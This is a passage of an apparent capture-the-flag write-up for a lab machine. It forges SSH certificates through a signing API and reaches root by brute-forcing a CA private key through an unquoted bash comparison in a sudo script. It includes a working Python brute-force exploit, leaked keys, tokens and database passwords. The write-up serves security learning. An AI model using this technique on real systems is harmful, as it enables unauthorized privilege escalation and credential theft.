Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64
...
zzinter@itrc:~$ id
uid=1001(zzinter) gid=1001(zzinter) groups=1001(zzinter)

And we are in.

Note: We are able to login as any user with forged keys from certificate, even root!

SSH (zzinter)

zzinter@itrc:~$ ls -alh
total 44K
drwx------ 1 zzinter zzinter 4.0K Aug  5 20:16 .
drwxr-xr-x 1 root    root    4.0K Jul 23 14:22 ..
lrwxrwxrwx 1 root    root       9 Jul 23 14:22 .bash_history -> /dev/null
-rw-r--r-- 1 zzinter zzinter  220 Mar 29 19:40 .bash_logout
-rw-r--r-- 1 zzinter zzinter 3.5K Mar 29 19:40 .bashrc
-rw-r--r-- 1 zzinter zzinter  807 Mar 29 19:40 .profile
drwx------ 2 zzinter zzinter 4.0K Aug  5 20:14 .ssh
-rw------- 1 zzinter zzinter  835 Aug  5 20:16 .viminfo
drwxr-xr-x 2 zzinter zzinter 4.0K Aug  5 20:15 decommission_old_ca
-rw-rw-r-- 1 root    root    1.2K Feb 19 16:43 sign_key_api.sh
-rw-r----- 1 root    zzinter   33 Aug  5 20:08 user.txt

User.txt

zzinter@itrc:~$ cat user.txt
08dc8516ee93908d186512a84dace359

SSH (2222)

Privilege Escalation (support)

zzinter@itrc:~$ cat sign_key_api.sh
#!/bin/bash

usage () {
    echo "Usage: $0 <public_key_file> <username> <principal>"
    exit 1
}

if [ "$#" -ne 3 ]; then
    usage
fi

public_key_file="$1"
username="$2"
principal_str="$3"

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

public_key=$(cat $public_key_file)

curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
└─$ echo '7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE' | base64 -d | xxd
00000000: ed3a b1ea 8c0c 2ed9 edea 8791 d8e4 5b5a  .:............[Z
00000010: 638f 937d 33e1 91fd d359 07e9 4513 eaf3  c..}3....Y..E...
00000020: 7388 da86 ad88 264a f7b9 8c29 a73c 90c4  s.....&J...).<..

Unfortunately the Authorization token decodes to garbage, but now we have some idea how to use the application.

Generate API key and try to authenticate on other box:

zzinter@itrc:~$ bash sign_key_api.sh decommission_old_ca/letmein.pub zzinter webserver
ssh-rsa-cert-v01@openssh.com AAAAHHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20AAAAg8vd0nLbYDKUGRWy7dWQgTZ9ZiC8ZBz9P9fDgSV5ncU8AAAADAQABAAABgQDuQ8Kdx0SdbVnLIzPiMvEPYx8vn+VaaiE3oUsWmus24jmigB3ehC/MKaqeWc7240r+ABT1xSokGMoHcdohu14wHla3/HuESg5wxcBa/ImA6e4qnKcKsNafrkVNJpuM94SeekJz3DV6haAvjFO3X/YdqpcG6wJVGrFaJGouYzy7Xl+WmkLxdAKEG81PRa6rksAkifs+6MROtnbUUqsgw3CE5yNZvCScPpvDwGbmE9zc7OMSp5gdLeeSSRiigT5JfiaPHE1ft8gFVzefGd9uy/KSU+hTM8xnjJ/Ek/tGNTSRI3plK6udKKx/B8ouT6K0V0pOEVccY0PLYNlqcLmCLKADCnXoNMjZYkHlw7x1fwn0ffXzqHX0j2ZGj1YJVSjwxRf//e51D4d03be40UpBDPiCqK7siancVU4232ZWBAFjTR8CyZg7Aed54osGH37RLujmv3lIJsQJHfBBSP5PzwACOfTysJ+G6rlzT6fs2bK3T0sr06+YQ9RBaGw9dLEXRo0AAAAAAAAAKQAAAAEAAAAHenppbnRlcgAAAA0AAAAJd2Vic2VydmVyAAAAAGaoABH//////////wAAAAAAAACCAAAAFXBlcm1pdC1YMTEtZm9yd2FyZGluZwAAAAAAAAAXcGVybWl0LWFnZW50LWZvcndhcmRpbmcAAAAAAAAAFnBlcm1pdC1wb3J0LWZvcndhcmRpbmcAAAAAAAAACnBlcm1pdC1wdHkAAAAAAAAADnBlcm1pdC11c2VyLXJjAAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIIHg8Cudy1ShyYfqzC3ANlgAcW7Q4MoZuezAE8mNFSmxAAAAUwAAAAtzc2gtZWQyNTUxOQAAAED4DbKojeGjedTJ6CebsveNtGoHZC34Hcdv8ElDIMH0h8lrgN/mxz1ZeQeJbXQMBo7hqKFFzcal2BYWvouod9oJ msainristil@itrc
zzinter@itrc:~$ bash sign_key_api.sh decommission_old_ca/letmein.pub zzinter webserver
zzinter@itrc:~$ bash sign_key_api.sh decommission_old_ca/letmein.pub webadmin webserver
zzinter@itrc:~$ ssh -o CertificateFile=zzinter.pub -i decommission_old_ca/letmein webadmin@10.10.11.27 -p 2222
webadmin@10.10.11.27s password: ????

zzinter@itrc:~$ bash sign_key_api.sh decommission_old_ca/letmein.pub support support > zzinter.pub
zzinter@itrc:~$ ssh -o CertificateFile=zzinter.pub -i decommission_old_ca/letmein support@10.10.11.27 -p 2222
Enter passphrase for key 'decommission_old_ca/letmein':
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)
...
support@ssg:~$ id
uid=1000(support) gid=1000(support) groups=1000(support)

webadmin seemed like higher privilege so I first tried that, but without password it wouldn't auth, but support user is able to login without any password.

The box seems identical to itrc, but hosts is a bit different.

support@ssg:~$ ls /home
support  zzinter
support@ssg:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 ssg resource.htb
172.223.0.3 itrc.ssg.htb
172.223.0.1 signserv.ssg.htb

In the /etc/ssh we can find auth_principals which further has supported principles that can be used to authenticate into the box.

support@ssg:/etc/ssh$ ls -lah
total 604K
drwxr-xr-x   5 root root 4.0K Jul 24 12:24 .
drwxr-xr-x 100 root root 4.0K Jul 30 08:45 ..
drwxr-xr-x   2 root root 4.0K Feb  8 12:16 auth_principals
-rw-------   1 root root  399 Feb  8 19:40 ca-analytics
-rw-r--r--   1 root root   94 Feb  8 19:40 ca-analytics.pub
-rw-------   1 root root  432 Feb  8 19:42 ca-it
-rw-r--r--   1 root root  116 Feb  8 19:43 ca-it.pub
-rw-------   1 root root 2.6K Feb  8 19:03 ca-security
-rw-r--r--   1 root root  569 Feb  8 19:03 ca-security.pub
-rw-r--r--   1 root root 494K Jul 19  2023 moduli
-rw-r--r--   1 root root 1.7K Jul 19  2023 ssh_config
drwxr-xr-x   2 root root 4.0K Feb  7 21:52 ssh_config.d
-rw-r--r--   1 root root 3.2K Feb  7 21:48 sshd_config
drwxr-xr-x   2 root root 4.0K Feb  8 12:24 sshd_config.d
-rw-r--r--   1 root root 3.2K Jul 24 12:23 sshd_config.ucf-dist
-rw-------   1 root root 1.4K Feb  7 19:37 ssh_host_dsa_key
-rw-r--r--   1 root root  959 Feb  8 19:44 ssh_host_dsa_key-cert.pub
-rw-r--r--   1 root root  598 Feb  7 19:37 ssh_host_dsa_key.pub
-rw-------   1 root root  505 Feb  7 19:37 ssh_host_ecdsa_key
-rw-r--r--   1 root root  531 Feb  8 19:44 ssh_host_ecdsa_key-cert.pub
-rw-r--r--   1 root root  170 Feb  7 19:37 ssh_host_ecdsa_key.pub
-rw-------   1 root root  399 Feb  7 19:37 ssh_host_ed25519_key
-rw-r--r--   1 root root  451 Feb  8 19:44 ssh_host_ed25519_key-cert.pub
-rw-r--r--   1 root root   90 Feb  7 19:37 ssh_host_ed25519_key.pub
-rw-------   1 root root 2.6K Feb  7 19:37 ssh_host_rsa_key
-rw-r--r--   1 root root  923 Feb  8 19:44 ssh_host_rsa_key-cert.pub
-rw-r--r--   1 root root  562 Feb  7 19:37 ssh_host_rsa_key.pub
-rw-r--r--   1 root root  342 Dec  7  2020 ssh_import_id
support@ssg:/etc/ssh$ cd auth_principals/
support@ssg:/etc/ssh/auth_principals$ ls
root  support  zzinter
support@ssg:/etc/ssh/auth_principals$ cat zzinter
zzinter_temp
support@ssg:/etc/ssh/auth_principals$ cat support
support
root_user
support@ssg:/etc/ssh/auth_principals$ cat root
root_user

Going directly to root doesn't seem that easy :/

Writeup-8.png

Privilege Escalation (zzinter)

The server code seems to be living in /opt/signserv, but no read permissions. zzinter has permissions to read the sign_key.sh

support@ssg:/opt$ ls -alh
total 16K
drwxr-xr-x  3 root root    4.0K Jul 23 14:03 .
drwxr-xr-x 19 root root    4.0K Jul 24 11:54 ..
-rwxr-----  1 root zzinter 1.5K Jul 23 14:02 sign_key.sh
drwx------  4 root root    4.0K Feb  8 19:05 signserv

Get certificate with your public key

Writeup-9.png

Turns out you can't use your own keys (kali machine), keys must come from same device in network (support).

support@ssg:/tmp$ ssh-keygen -f zzinter_temp -P 'Password123$'
Generating public/private rsa key pair.
Your identification has been saved in zzinter_temp
Your public key has been saved in zzinter_temp.pub
The key fingerprint is:
SHA256:JkM7UciGwm3MO6NVZtipwBqlTLzQXavZxx1LMjsRLDw support@ssg 
support@ssg:/tmp$ cat zzinter_temp.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3RtLI2EmoYIDUkKYB8XAlj832wKcrriAdaV1pI3em9z4sQ6TyRA3vMZChhFC6gTIeKYewKBrYVcGQum+rNHeiz/c9EoVnrHlWUbCP8madYA8BzWc3ROGIJm1MeSICXEDXJ2ZHbeEt2Sv7EuTau6W2Y4RHHAASb2jysbXR2FfoWipPZFIsh31Zz4+FPHd5Q+dT5onhjAj0FnK/M76+7uTae75X4oLMiy8f0NKs1XkzCnoaKD4dUbT76dhPUwC0jIPWrzruCg1Ra3mUyitG+MaSfd4kZxTiUO3huUS+qskYUfxQ37pbPRWiMBLfbrdbQXnwvygYvLnCGv8rrs/N9+U0NsHRyRLO+CYZyaLe77o1712VukzAanfmX1lKo34Lvoh6Sgc0UyuYOsbe2FQA8j/xvCugYi3jlqvvgSKwrzGTNfrbrSmCUxUqUtO6XLnuklKMaeLRLXJkYHgu+QM9FsLx3uAMzy9b0kGzK+TtvZ8OQ50WBlEwtWm63M4Qi14cAMc= support@ssg
support@ssg:/tmp$ vi zzinter_temp-cert.pub 
support@ssg:/tmp$ ssh zzinter@10.10.11.27 -p 2222 -o CertificateFile=zzinter_temp-cert.pub -i zzinter_temp
Enter passphrase for key 'zzinter_temp':
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)
...
zzinter@ssg:~$ id
uid=1001(zzinter) gid=1001(zzinter) groups=1001(zzinter)
Writeup-10.png

or just modify the previous script:

#!/bin/bash

usage () { echo "Usage: $0 <public_key_file> <username> <principal>"; exit 1; }
if [ "$#" -ne 3 ]; then usage; fi

public_key=$(cat "$1")
username="$2"
principal="$3"

curl signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
└─$ bash sign_api_key.sh ssh/itrc_zzinter/letmein.pub zzinter zzinter_temp > zzinter_temp-cert.pub
└─$ ssh zzinter@10.10.11.27 -p 2222 -o CertificateFile=./ssh/ssg_zzinter/zzinter_temp-cert.pub -i ./ssh/ssg_zzinter/letmein
---
└─$ pwd && find . -type f -exec chmod 600 {} \;
~/Desktop/Rooms/Resource/ssh

Anyway, let's inspect the script in /opt

zzinter@ssg:/opt$ cat sign_key.sh
#!/bin/bash

usage () {
    echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
    exit 1
}

if [ "$#" -ne 5 ]; then
    usage
fi

ca_file="$1"
public_key_file="$2"
username="$3"
principal="$4"
serial="$5"

if [ ! -f "$ca_file" ]; then
    echo "Error: CA file '$ca_file' not found."
    usage
fi

if [[ $ca == "/etc/ssh/ca-it" ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi

itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if ! [[ $serial =~ ^[0-9]+$ ]]; then
    echo "Error: '$serial' is not a number."
    usage
fi

ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"

The script uses ca-it file to verify given certificate, the file seems to be Global SSG SSH Certficiate from IT.

zzinter@ssg:/opt$ cat /etc/ssh/ca-it
cat: /etc/ssh/ca-it: Permission denied
zzinter@ssg:/opt$ cat /etc/ssh/ca-it.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIHg8Cudy1ShyYfqzC3ANlgAcW7Q4MoZuezAE8mNFSmx Global SSG SSH Certficiate from IT

Privilege Escalation (root)

zzinter can run this script as root:

zzinter@ssg:/opt$ sudo -l
Matching Defaults entries for zzinter on ssg:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User zzinter may run the following commands on ssg:
    (root) NOPASSWD: /opt/sign_key.sh

Unfortunately we are not able to use /etc/ssh/ca-it.

zzinter@ssg:/tmp$ sudo /opt/sign_key.sh /etc/ssh/ca-it letmein.pub zzinter support 1
Error: Use API for signing with this CA.
Usage: /opt/sign_key.sh <ca_file> <public_key_file> <username> <principal> <serial>

Reason being that our input CA is checked against it. If you notice the script also has a vulnerability, in the test variables are compared without quotes which is dangerous in bash

itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi

shellharden/how_to_do_things_safely_in_bash > The first thing to know about bash coding

An unquoted variable is to be treated as an armed bomb: It explodes upon contact with whitespace and wildcards.

Before writing exploit let's write small test:

Writeup-11.png

With this we confirmed that using * we can match any character and essentially bruteforce the file.

import string
import os
from subprocess import DEVNULL, check_output, CalledProcessError

CHARSET = string.ascii_letters + string.digits + '+/='
START = '-----BEGIN OPENSSH PRIVATE KEY-----'
END = '-----END OPENSSH PRIVATE KEY-----'
DUMMY_FILE = '/tmp/letmein'
DUMMY_FILE2 = '/tmp/whocares'
OUTPUT = '/tmp/leaked'
SUCCESS = b'Error'

contents = ''
i = len(contents) % 71 # If some chunk is already known

with open(DUMMY_FILE2, 'w') as f: f.write('someone')
os.chmod(DUMMY_FILE2, 0o600)

while True:
    for c in CHARSET:
        # \033[H moves the cursor to the home position (top-left corner).
        # \033[J clears the screen from the cursor down.
        print(f'\033[H\033[J{contents}', end='')
        if i == 70:
            contents += '\n'
            i = 0

        tmp = f'{contents}{c}*'
        with open(DUMMY_FILE, 'w') as f:
            f.write(f'{START}\n{tmp}\n{END}')
            os.chmod(DUMMY_FILE, 0o600)

        try:
            check_output(f'sudo /opt/sign_key.sh {DUMMY_FILE} {DUMMY_FILE2} zzinter support 1', shell=True, stderr=DEVNULL)
        except CalledProcessError as e:
            out = e.output

        if SUCCESS in out:
            contents += c
            i += 1
            break
    else:
        break

with open(OUTPUT, 'w') as f: 
    leaked = f'{START}\n{contents.strip()}\n{END}'
    print('\n\n' + leaked)
    print(leaked, file=f)

Run the script and wait some time for bruteforce to finish, check the output file for certificate:

zzinter@ssg:/dev/shm$ cat /tmp/leaked
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAKg7BlysOwZc
rAAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQ
AAAEBexnpzDJyYdz+91UG3dVfjT/scyWdzgaXlgx75RjYOo4Hg8Cudy1ShyYfqzC3ANlgA
cW7Q4MoZuezAE8mNFSmxAAAAIkdsb2JhbCBTU0cgU1NIIENlcnRmaWNpYXRlIGZyb20gSV
QBAgM=
-----END OPENSSH PRIVATE KEY-----

Connect to box via new certificate

└─$ vi ./ssh/ssg_root/ca-it 
└─$ chmod 600 ./ssh/ssg_root/ca-it 
└─$ ssh-keygen -s ./ssh/ssg_root/ca-it -z 1 -I root -V -1w:forever -n root_user ./ssh/ssg_root/letmein.pub
Signed user key letmein-cert.pub: id "root" serial 1 for root_user valid after 2024-07-30T11:01:00
└─$ ssh root@10.10.11.27 -p 2222 -o CertificateFile=./ssh/ssg_root/letmein-cert.pub -i ./ssh/ssg_root/letmein
root@ssg:~# id
uid=0(root) gid=0(root) groups=0(root)

Root.txt

root@ssg:~# cat root.txt
42d3bb11e00c5447a1a4dca244d530d1

Root Scripts

root@ssg:~/docker# ls -alh
total 36K
drwxrwxr-x 5 root root 4.0K Jul 23 14:37 .
drwx------ 6 root root 4.0K Aug  6 13:50 ..
-rwxrwxr-x 1 root root   42 Jan 24  2024 build.sh
-rwxr-xr-x 1 root root   83 Jul 23 14:37 copy.sh
drwxrwxr-x 2 root root 4.0K Feb  7 18:46 db
-rw-rw-r-- 1 root root  778 Jul 23 13:36 docker-compose.yml
drwxrwxr-x 2 root root 4.0K Feb  7 18:48 host
drwxrwxr-x 4 root root 4.0K Jul 23 14:12 itrc
-rwxrwxr-x 1 root root  119 Jan 24  2024 savedb.sh
root@ssg:~/docker# cat build.sh
#!/bin/bash

docker compose up --build -d
root@ssg:~/docker# cat copy.sh
#!/bin/bash

docker cp /home/zzinter/user.txt resource-itrc:/home/zzinter/user.txt
root@ssg:~/docker# cat savedb.sh
#!/bin/bash

mysqldump --column-statistics=0 -h 127.0.0.1 -u jj -pugEG5rR5SG8uPd resourcecenter | tee docker/db/db.sql
root@ssg:~/docker# cat docker-compose.yml

version: "3"
services:
  itsc:
    hostname: itrc
    build:
      context: .
      dockerfile: itrc/Dockerfile
    container_name: resource-itrc
    networks:
      resource:
        ipv4_address: 172.223.0.3
    depends_on:
      - db
    ports:
      - 22:22
    restart: always
  db:
    hostname: db
    build:
      context: .
      dockerfile: db/Dockerfile
    container_name: resource-db
    environment:
      MYSQL_ROOT_PASSWORD: root
      MYSQL_DATABASE: resourcecenter
      MYSQL_USER: jj
      MYSQL_PASSWORD: ugEG5rR5SG8uPd
    networks:
      resource:
        ipv4_address: 172.223.0.2
    restart: always

networks:
  resource:
    driver: bridge
    ipam:
      driver: default
      config:
        - subnet: 172.223.0.0/16
          gateway: 172.223.0.1
root@ssg:~/docker# cat db/Dockerfile
FROM mariadb:latest

RUN apt upgrade && apt update -y

ADD db/db.sql /docker-entrypoint-initdb.d

EXPOSE 3306
root@ssg:~/docker# cat host/Dockerfile
FROM php:8.1-apache

RUN a2enmod rewrite

RUN apt update && apt upgrade -y

COPY itrc/000-default.conf /etc/apache2/sites-available/000-default.conf
COPY itrc/support-app /var/www/itrc
COPY itrc/startup.sh /opt/startup.sh
RUN chmod +x /opt/startup.sh

RUN useradd -ms /bin/bash msainristil
RUN useradd -ms /bin/bash zzinter

COPY itrc/decommission_old_ca /home/msainristil/decommission_old_ca
RUN chown -R msainristil:msainristil /home/msainristil/decommission_old_ca
RUN ssh-keygen -h -s /home/msainristil/decommission_old_ca/ca-itrc -z 1 -I ITRC -V 20221023081246:forever -n itsc /etc/ssh/ssh_host_rsa_key.pub
RUN ssh-keygen -h -s /home/msainristil/decommission_old_ca/ca-itrc -z 2 -I ITRC -V 20221023081301:forever -n itsc /etc/ssh/ssh_host_ecdsa_key.pub
RUN ssh-keygen -h -s /home/msainristil/decommission_old_ca/ca-itrc -z 3 -I ITRC -V 20221023081319:forever -n itsc /etc/ssh/ssh_host_ed25519_key.pub
COPY itrc/sshcerts.conf /etc/ssh/sshd_config.d/sshcerts.conf
RUN cat /home/msainristil/decommission_old_ca/ca-itrc.pub > /etc/ssh/ca_users_keys.pub

WORKDIR /var/www/itrc

RUN chown -R www-data:www-data /var/www

CMD ["/opt/startup.sh"]

Last updated